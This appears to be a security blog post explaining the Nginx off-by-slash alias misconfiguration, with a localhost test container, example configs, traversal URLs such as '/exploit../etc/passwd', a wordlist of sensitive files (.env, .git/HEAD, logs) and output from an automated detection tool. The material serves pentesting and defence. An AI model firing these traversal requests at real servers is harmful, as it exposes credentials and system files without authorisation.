
Nginx off-by-slash Vulnerability
Introduction
While reading some content about Web vulnerability, I came across a presentation of Orange Tsai at Black Hat : Breaking Parser Logic Take Your Path Normalization Off And Pop 0days out.
From page 17, the Nginx off-by-slash vulnerability is discussed.
Details
The vulnerability enters in the category of the misconfigurations, and it exploits a missing slash (/) in the alias directive to read files outside of the specified location.
The alias directive defines a replacement to access files. It is used like so :
location /static/ {
alias /var/www/static/;
}The application of this directive to a request will allow someone to request a resource within the static path. For example, for a website call example.com, the style.css resources located on disk at /var/www/static/style.css could be reached like so : http://example.com/static/style.css. To achieve the same goal, the root directive could have been used. However, the root directive appends the requested location to the given path where the alias directive replace it. The following configuration would have been used :
location /static/ {
root /var/www/;
}So we have the following behaviour :
| Directive | Requested URL | Nginx construction |
|---|---|---|
root | http://example.com/static/style.css | /var/www/ + static/style.css |
alias | http://example.com/static/style.css | /var/www/static/ + style.css |
Because alias directive is just a replacement, if no trailing slash is appended to the location the constructed URL could be exploited to read resources outside of the specified location.
With the following configuration :
location /static {
alias /var/www/static/;
}A request to http://example.com/static../settings/config.php would be computed by Nginx to : /var/www/static/ + ../settings/config.php, which results in the following resource retrieved : /var/www/settings/config.php.
The only limitation is that you cannot go up to 1 level above where you are. For example, with the following configuration :
location js {
alias /var/www/static/js/;
}It would only be possible to browse files under the following location /var/www/static/.
Test project
I created a container in order to perform tests about this vulnerability. The full source code can be found here : https://github.com/HopHouse/Nginx-off-by-slash.
Main information is the directory structure and the Nginx configuration file :
root@d7ab9ce1b6c6:~# tree /var/www/
/var/www/
|-- config
| `-- settings.php
|-- public
| `-- index.html
|-- robots.txt
`-- static
|-- js
| `-- app.js
`-- style.css
4 directories, 5 files
root@d7ab9ce1b6c6:~# cat /etc/nginx/sites-available/default
server {
listen 80;
listen [::]:80;
server_name _;
root /dev/null;
error_log /var/log/nginx/error.log warn;
location /robots.txt {
alias /var/www/robots.txt;
}
location /static {
alias /var/www/static/;
}
location /js {
alias /var/www/static/js/;
}
location /exploit {
alias /exploit/;
autoindex on;
}
location / {
alias /var/www/public/;
index index.html;
}Common misconfigurations with examples
I compiled a few misconfigurations I have observed due to this vulnerability, and added ways to exploit them.
The first is :
location /static {
alias /var/www/static/;
}A request to http://localhost:8082/static/../config/settings.php can be used to retrieve content.
The second is :
location /js {
alias /var/www/static/js/;
}A request to http://localhost:8082/js/../style.css can be used to retrieve content of the only file located under /var/www/static/. Because we can only go up to 1 level, we can only access resources located into this location.
The third is :
location /exploit {
alias /exploit/;
autoindex on;
}This configuration was present in a lot of Docker containers. A volume is mounted, or a folder, is copied at the root of the container. Therefore, exploitation of this vulnerability allows anyone to retrieve any file on the system regarding the permission associated to the user account running nginx. A request to http://localhost:8082/exploit../etc/passwd can be used to retrieve content of the /etc/passwd file.
This configuration comes in a handier way when the autoindex directive is set to on. Under the path http://localhost:8082/exploit../, it is possible to have a directory listing of the root (/) directory of the server.
Automated detection
After some tests, I compiled a little wordlist with known locations that could help to identify this vulnerability during black and grey boxes pentest activities.
The list is :
nginxOffBySlashValidResourcesDefaultValues := []string{
"etc/passwd",
"var/log/nginx/access.log",
"var/log/lastlog",
"log/nginx/access.log",
"log/lastlog",
".git/HEAD",
".env",
".htaccess",
"robots.txt",
"nginx.conf",
"README.md",
"index.html",
"html/index.html",
"public/index.html",
"settings.php",
"config/settings.php",
"config/index.php",
}A function to automate the tests was created in gop and can be used to identify if a location is prone to this vulnerability.
Function code can be found here. And Cobra command related to this function here.
❯ gop web nginxOffBySlash -h
Tamper the URL/request in order to discover an Nginx off-by-slash vulnerability.
Usage:
gop web nginxOffBySlash [flags]
Flags:
--burp Set burp as proxy with default configuration (http://127.0.0.1:8080).
-h, --help help for nginxOffBySlash
--path strings Valid resources to request in the form : 'static/app.js'. By default a precompiled list was created (default [etc/passwd,var/log/nginx/access.log,var/log/lastlog,log/nginx/access.log,log/lastlog,.git/HEAD,.env,.htaccess,robots.txt,nginx.conf,README.md,index.html,html/index.html,public/index.html,settings.php,config/settings.php,config/index.php])
-p, --proxy string Use the specified http proxy (ex: http://127.0.0.1:8080).
-r, --request string File where the request to tamper is.
--show ints Only show the specified status codes.
-u, --url string URL where resource needs to be tamperd.
Global Flags:
--logfile string Set a custom log file. (default "logs.txt")
--output-directory string Use the following directory to output results.The repository containing the container also has 3 text files that could be passed to gop with the -r/-request option in order to quickly test the vulnerability.
Examples
Using a file request
We can use a file request :
❯ cat /exploit/static-request.txt
GET http://127.0.0.1:8082/static/style.css HTTP/1.1
Host: 127.0.0.1
❯ gop web nginxOffBySlash -r /exploit/static-request.txt --show 200
Status Code Content Length URL Comment
200 320 http://127.0.0.1:8082/static/style.css
403 333 http://127.0.0.1:8082/static/ Status code is different. Content length is different.
[URL: http://127.0.0.1:8082/static] ERROR
403 333 http://127.0.0.1:8082/static../ Status code is different. Content length is different.
200 258 http://127.0.0.1:8082/static../robots.txt Content length is different.
200 1640 http://127.0.0.1:8082/static../public/index.html Content length is different.
200 298 http://127.0.0.1:8082/static../config/settings.php Content length is different.Using a URL and filtering by status code
Or we can use a URL directly. We can quickly identify that a request to http://localhost:8082/exploit../ returns a 200 OK. It implies that a directory listing might be available.
❯ gop web nginxOffBySlash -u 'http://localhost:8082/exploit/foo-bar' --show 200
Status Code Content Length URL Comment
404 333 http://localhost:8082/exploit/foo-bar
200 681 http://localhost:8082/exploit/ Status code is different. Content length is different.
[URL: http://localhost:8082/exploit] ERROR
200 2735 http://localhost:8082/exploit../ Status code is different. Content length is different.
200 1184 http://localhost:8082/exploit../etc/passwd Status code is different. Content length is different.
200 16890 http://localhost:8082/exploit../var/log/nginx/access.log Status code is different. Content length is different.
200 29757 http://localhost:8082/exploit../var/log/lastlog Status code is different. Content length is different.Multiple predefines paths
We can also specify the resource to look for, and therefore confirms that we cannot go higher than on level above the location specified under the alias directive :
❯ gop web nginxOffBySlash -u 'http://localhost:8082/js/app.js' --path "../config/settings.php,../public/index.html,../../../../../../etc/passwd"
Status Code Content Length URL Comment
200 318 http://localhost:8082/js/app.js
403 333 http://localhost:8082/js/ Status code is different. Content length is different.
[URL: http://localhost:8082/js] ERROR
403 333 http://localhost:8082/js../ Status code is different. Content length is different.
404 333 http://localhost:8082/js../../config/settings.php Status code is different. Content length is different.
404 333 http://localhost:8082/js../../public/index.html Status code is different. Content length is different.
400 327 http://localhost:8082/js../../../../../../../etc/passwd Status code is different. Content length is different.